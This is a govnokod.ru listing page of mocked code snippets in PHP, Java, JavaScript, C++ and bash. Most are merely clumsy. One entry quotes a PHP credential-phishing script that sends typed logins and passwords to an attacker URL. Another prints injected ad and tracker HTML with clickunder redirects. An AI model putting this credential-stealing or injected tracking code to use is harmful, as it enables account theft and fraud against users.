1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #16650

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    // Отладочная информация
    if(1)
    {
    	print "<!--\r\n";
    	$time_end = microtime(true);
    	$exec_time = $time_end-$time_start;
      
      	if(function_exists('memory_get_peak_usage'))
    		print "memory peak usage: ".memory_get_peak_usage()." bytes\r\n";  
    	print "page generation time: ".$exec_time." seconds\r\n";  
    	print "-->";
    }

    Simpla CMS, красавцы! :D

    volter9, 05 Сентября 2014

    Комментарии (20)
  3. Java / Говнокод #16647

    +64

    1. 1
    2. 2
    3. 3
    4. 4
    int r = 5;
        if (r ==5) {
            throw new Exception(); 
        }

    air_raptor, 05 Сентября 2014

    Комментарии (20)
  4. JavaScript / Говнокод #16546

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    //Показывать или убирать шапку
        var shapka = $('.shapka');
        $(window).scroll(function(){
            if($(window).scrollTop() > 800){
                shapka.fadeIn();
            } else {
                shapka.fadeOut();
            }
        });
    
    
        //Scrolling up function
        $(function(){
            $.fn.scrollToTop = function(){$(this).hide().removeAttr("href");
            if($(window).scrollTop()!="0"){
                $(this).fadeIn("slow")
            }
            var scrollDiv=$(this);$(window).scroll(function(){
                if($(window).scrollTop()=="0"){
                    $(scrollDiv).fadeOut("slow")
                }
                    else{
                        $(scrollDiv).fadeIn("slow")
                    }
                });
            $(this).click(function(){$("html, body").animate({scrollTop:0},"slow")})}
        });
    
        $(function() {     
                $("#toTop").scrollToTop();  
        }); 
    
        //Динамическое изменения title страницы
        function dynamicTitle(d){
            var t = new Array(
                    "Курс 'Основы программирования'",
                    "Внимание! Сегодня скидка!"
                );
    
            if(typeof d === 'number'){
                document.title = t[d];
            } else {
                for(var i=0; i<t.length; i++){
                    if(t[i] === document.title){
                        continue;
                    } else {
                        document.title = t[i];
                        break;
                    }
                }
            }
        }
        dynamicTitle(0);
        setInterval(dynamicTitle, 2000);

    http://progbasics.ru

    Советую почитать весь сайт и код, такого эпичного говнеца я еще не видел. Особенно в отзывах и программе курса.

    gost, 16 Августа 2014

    Комментарии (20)
  5. C++ / Говнокод #16520

    +62

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    Grid Processor::build_grid()
    {
        Grid res;
        double top = 340+60;
        double left = 0, right = 60;
        Point a,b,c,d;
        for(int i = 0; i < 6; ++i){
            for(int j = 0; j < 13; ++j){
                a = {left*1e-6, top*1e-6, 2.1e-3};
                b = {right*1e-6, top*1e-6, 2.1e-3};
                c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
                d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};  
                auto t = std::make_tuple(a,b,c,d);
                res.push_back(t);
                left += (340+60);
                right += (340+60);
            }
            top += (340+60);
            left = 0;
            right = 60;
        }
        
        top = (int)(-mem_size*1e6)+60;
        left = (int)(mem_size*1e6)+340;
        right = (int)(mem_size*1e6)+400;
        for(int i = 0; i < 13; ++i){
            for(int j = 0; j < 6; ++j){
                a = {left*1e-6, top*1e-6, 2.1e-3};
                b = {right*1e-6, top*1e-6, 2.1e-3};
                c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
                d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};  
                auto t = std::make_tuple(a,b,c,d);
                res.push_back(t);
                left += (340+60);
                right += (340+60);
            }
            top += (340+60);
            left = (int)(mem_size*1e6)+340;
            right = (int)(mem_size*1e6)+(340+60);
        }
        
        top = (int)(-(mem_size+2.4e-3)*1e6)+60;
        left = 0, right = 60;
        for(int i = 0; i < 6; ++i){
            for(int j = 0; j < 13; ++j){
                a = {left*1e-6, top*1e-6, 2.1e-3};
                b = {right*1e-6, top*1e-6, 2.1e-3};
                c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
                d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};  
                auto t = std::make_tuple(a,b,c,d);
                res.push_back(t);
                left += (340+60);
                right += (340+60);
            }
            top += (340+60);
            left = 0;
            right = 60;
        }
        
        top = (int)(-mem_size*1e6)+60;
        left = -2400;
        right = -2400+60;
        for(int i = 0; i < 13; ++i){
            for(int j = 0; j < 6; ++j){
                a = {left*1e-6, top*1e-6, 2.1e-3};
                b = {right*1e-6, top*1e-6, 2.1e-3};
                c = {(left-3.25)*1e-6, (top+3.25)*1e-6, 2e-3};
                d = {(right+3.25)*1e-6, (top+3.25)*1e-6, 2e-3};  
                auto t = std::make_tuple(a,b,c,d);
                res.push_back(t);
                left += (340+60);
                right += (340+60);
            }
            top += (340+60);
            left = -2400;
            right = -2400+60;
        }
        
        return res;
    }

    Magic numbers, Voodoo numbers!

    Abbath, 12 Августа 2014

    Комментарии (20)
  6. C++ / Говнокод #16473

    +57

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    struct ShaderBuilder
    {
    	Shader ToShader() const;
    
    	ShaderParts::VertexDataSrc VertexDataSource;
    	ShaderParts::Transform Transformation;
    	ShaderParts::LightControl LightControl;
    	ShaderParts::ColorSrc DiffuseSource;
    	ShaderParts::EmissionSrc EmissionSource;
    	ShaderParts::SpecularSrc SpecularSource;
    	ShaderParts::HeightSrc HeightSource;
    	ShaderParts::NormalSrc NormalSource;
    	ShaderParts::Parallax Parallax;
    	ShaderParts::LightModel LightModel;
    
    	...
    };
    
    #define with(x) for(auto &_=(x), *firstIter=&_; firstIter; firstIter=nullptr)
    
    ...
    
    using namespace ShaderParts;
    ShaderBuilder floorShaderBuilder;
    with(floorShaderBuilder)
    {
    	_.Transformation=Transform::Default();
    	_.LightControl=ShaderParts::LightControl::DefaultLighting({ {DirectionalLight::Type, 1} });
    	_.DiffuseSource=ColorSrc::FromTexture();
    	_.SpecularSource=SpecularSrc::FromConstants("0.25", "16.0");
    	_.HeightSource=HeightSrc::FromHeightMap();
    	_.NormalSource=NormalSrc::FromNormalMap("rg");
    	_.Parallax=Parallax::SimpleParallax();
    	_.LightModel=LightModel::Phong();
    }
    floorSh=floorShaderBuilder.ToShader();

    Вот такой оператор with на C++.

    gammaker, 04 Августа 2014

    Комментарии (20)
  7. bash / Говнокод #16426

    −118

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #!/bin/bash
    
    # make file $1
    function mkfile () {
      echo -n "$FILE "
      [ -e "$1" ] && echo "exists" && return 0
      sudo -u liferay mkdir -p $(dirname "$1")
      sudo -u liferay touch "$1"
      echo "created"
    }
    
    PREFIX=/opt/liferay/data/document_library
    
    mkfile $PREFIX/10153/1322521/20445/1.0
    
    for (( i=28036 ; i <= 28135 ; ++i )) ; do
      mkfile $PREFIX/10153/2992652/$i/1.0
    done

    Скрипт создания недостающих файлов в document_library написаный админами одного крупного восточного универа)

    gremlin_tomsk, 25 Июля 2014

    Комментарии (20)
  8. Куча / Говнокод #16343

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    PHP Devel Studio 2.0
     
    Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
    И если вы знаете языки программирования тогда для вас нет предела в этой программе!
    Скрипт:
    $edit1 = c('Form1->edit1')->text;
    $edit2 = c('Form1->edit2')->text;
    $combobox1 = c('Form1->combobox1')->inText;
    $url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
    file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
    MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");

    "Вирусы" на "PHP". Сбылась мечта идиота...

    http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8

    gost, 15 Июля 2014

    Комментарии (20)
  9. PHP / Говнокод #16273

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    <!DOCTYPE html>
    <html>
    <head>
        <title>Pixel Farm</title>
    </head>
    <body>
    <script type="text/javascript">
        function sc(name, val, endh) {
            var exdate = new Date;
            endh = exdate.getHours() + endh;
            exdate.setHours(endh);
            document.cookie = name + "=" + escape(val) + (endh === null ? "" : ";expires=" + exdate.toGMTString() + ";path=/;");
        }
    </script>
    
    <script type="text/javascript">
        var am_lo = function () {
            try {
                return "localStorage" in window && window["localStorage"] !== null;
            } catch (e) {
                return false;
            }
        };
        if (document.cookie.indexOf("uid") === -1) {
            if (am_lo()) {
                var am_lo_uid = localStorage.getItem("uid");
                if (am_lo_uid === null) {
                    am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
                    localStorage.setItem("uid", am_lo_uid);
                }
            } else {
                var am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
            }
            var exdate = new Date;
            exdate.setDate(exdate.getDate() + 30);
            document.cookie = "uid=" + am_lo_uid + ";expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
        }
    </script><script type="text/javascript" src="//px10.net/c.php"></script><img src="http://sync2.adsniper.ru/?src=a1" width="1" height="1" /><img src="http://advm.upstats.ru/" width="1px" height="1px" alt="" /><img src="http://advm.upstats.ru/b/" width="1px" height="1px" alt="" />
    <script type="text/javascript">
        function AdvMakerMyragon(r) {
    
           /* var myr4i=document.createElement("img");
            myr4i.src="//w16.am15.net/x/log.php?action=myr4&content="+JSON.stringify(r);
            document.body.appendChild(myr4i);*/
    
            if (r[0]) {
                if (r[0].reply === "positive") {
                    var exdate = new Date;
                    exdate.setMinutes(exdate.getMinutes() + 180);
                    var k = parseInt(r[0].price_id);
                    // document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
                    // document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=am15.net;";
    
                    var name="myragon_" + k;
                    sc(name, 1, 1);
    
                    if (k == 4){
                        var myr4=document.createElement("script");
                        myr4.type="text/javascript";
                        myr4.src="//am15.net/x/myragon.php";
                        document.body.appendChild(myr4);
                    }
                }
            }
        }
    </script>
    <script src="http://t02.rbnt.org/rsc.php?mode=bu&pkey=ffd3337d72b61dd75b3b95f59f9c85be&scr=1&p=advmaker&callback=AdvMakerMyragon&sitename=3517" type="text/javascript"></script><img src="//ad.dumedia.ru/advmaker/pixel" width="1" height="1" alt="" />
    <img src="http://luxup.ru/cmrk/5/?clickunder_url=http%3A%2F%2Fam15.net%2Fx%2Fadlabs.php" width="1" height="1" /></body>
    </html>

    это собственно та самая хрень которая перенаправляет на всякие "полезные" подписки на 3жы модемах мегафон.
    оно у меня вылезает даже на говнокоде, но в сорцах страниц такого нет, пхп гуру, откуда оно берется и кого бить за эту хрень?

    pl7ofit, 03 Июля 2014

    Комментарии (20)
  10. C++ / Говнокод #16264

    +14

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    std::string MakeString(const char* ch) 
    { 
       stringstream ss; 
       for (int i = 0; i < strlen(ch); i++) { 
          ss<<ch[i]; 
       } 
       string result = ss.str(); 
       return result; 
    }

    Создание строки

    absolut, 01 Июля 2014

    Комментарии (20)
  11. Java / Говнокод #16085

    +72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    public class PLock {
        private Map<Thread, Integer> readLocks = new HashMap<Thread, Integer>();
        private Thread writeLock = null;
        private int writeLockCount = 0;
        
        public synchronized void getReadLock() {
            Thread currentThread = Thread.currentThread();
            long startTimeMillis = System.currentTimeMillis();
            boolean gotStuck = false;
            while (canClaimReadLock(currentThread) == false) {
                gotStuck = true;
                try {
                    wait();
                } catch (InterruptedException ex) {
                    Log.warn("Interrupted while attempting to get read lock.", ex);
                }
            }
            report(gotStuck, startTimeMillis, "read");
            if (readLocks.containsKey(currentThread)) {
                readLocks.put(currentThread, 1 + readLocks.get(currentThread));
            } else {
                readLocks.put(currentThread, 1);
            }
        }
        
        ...
        
        public synchronized void relinquishReadLock() {
            Thread currentThread = Thread.currentThread();
            if (readLocks.containsKey(currentThread) == false) {
                throw new RuntimeException("Cannot relinquish read lock on thread " + currentThread + " because it does not hold a lock.");
            }
            int newLockCount = readLocks.get(currentThread) - 1;
            if (newLockCount == 0) {
                readLocks.remove(currentThread);
                notifyAll();  // IMPORTANT: allow other threads to wake up and check if they can get locks now.
            } else {
                readLocks.put(currentThread, newLockCount);
            }
        }
        
        public synchronized void getWriteLock() {
            //Log.warn("getWriteLock() in thread " + Thread.currentThread());
            //dumpLocks();
            Thread currentThread = Thread.currentThread();
            long startTimeMillis = System.currentTimeMillis();
            boolean gotStuck = false;
            while (canClaimWriteLock(currentThread) == false) {
                gotStuck = true;
                try {
                    wait();
                } catch (InterruptedException ex) {
                    Log.warn("Interrupted while attempting to get write lock.", ex);
                }
            }
            report(gotStuck, startTimeMillis, "write");
            writeLock = currentThread;
            writeLockCount++;
        }
        
        ...
        
        public synchronized void relinquishWriteLock() {
            //Log.warn("relinquishWriteLock() in thread " + Thread.currentThread());
            Thread currentThread = Thread.currentThread();
            if (writeLock != currentThread) {
                throw new RuntimeException("Cannot relinquish write lock on thread " + currentThread + " because it does not hold the lock.");
            }
            if (writeLockCount <= 0) {
                throw new RuntimeException("Tried to relinquish write lock on thread " + currentThread + " while write lock count is " + writeLockCount);
            }
            writeLockCount--;
            if (writeLockCount == 0) {
                writeLock = null;
                notifyAll();  // IMPORTANT: allow other threads to wake up and check if they can get locks now.
            }
        }
        
        ...
    }

    А у вас уже есть свой теплый ламповый ReentrantReadWriteLock?
    Нет? Тогда https://github.com/orph/jujitsu/blob/master/src/e/ptextarea/PLock.java идет к вам...

    kostoprav, 30 Мая 2014

    Комментарии (20)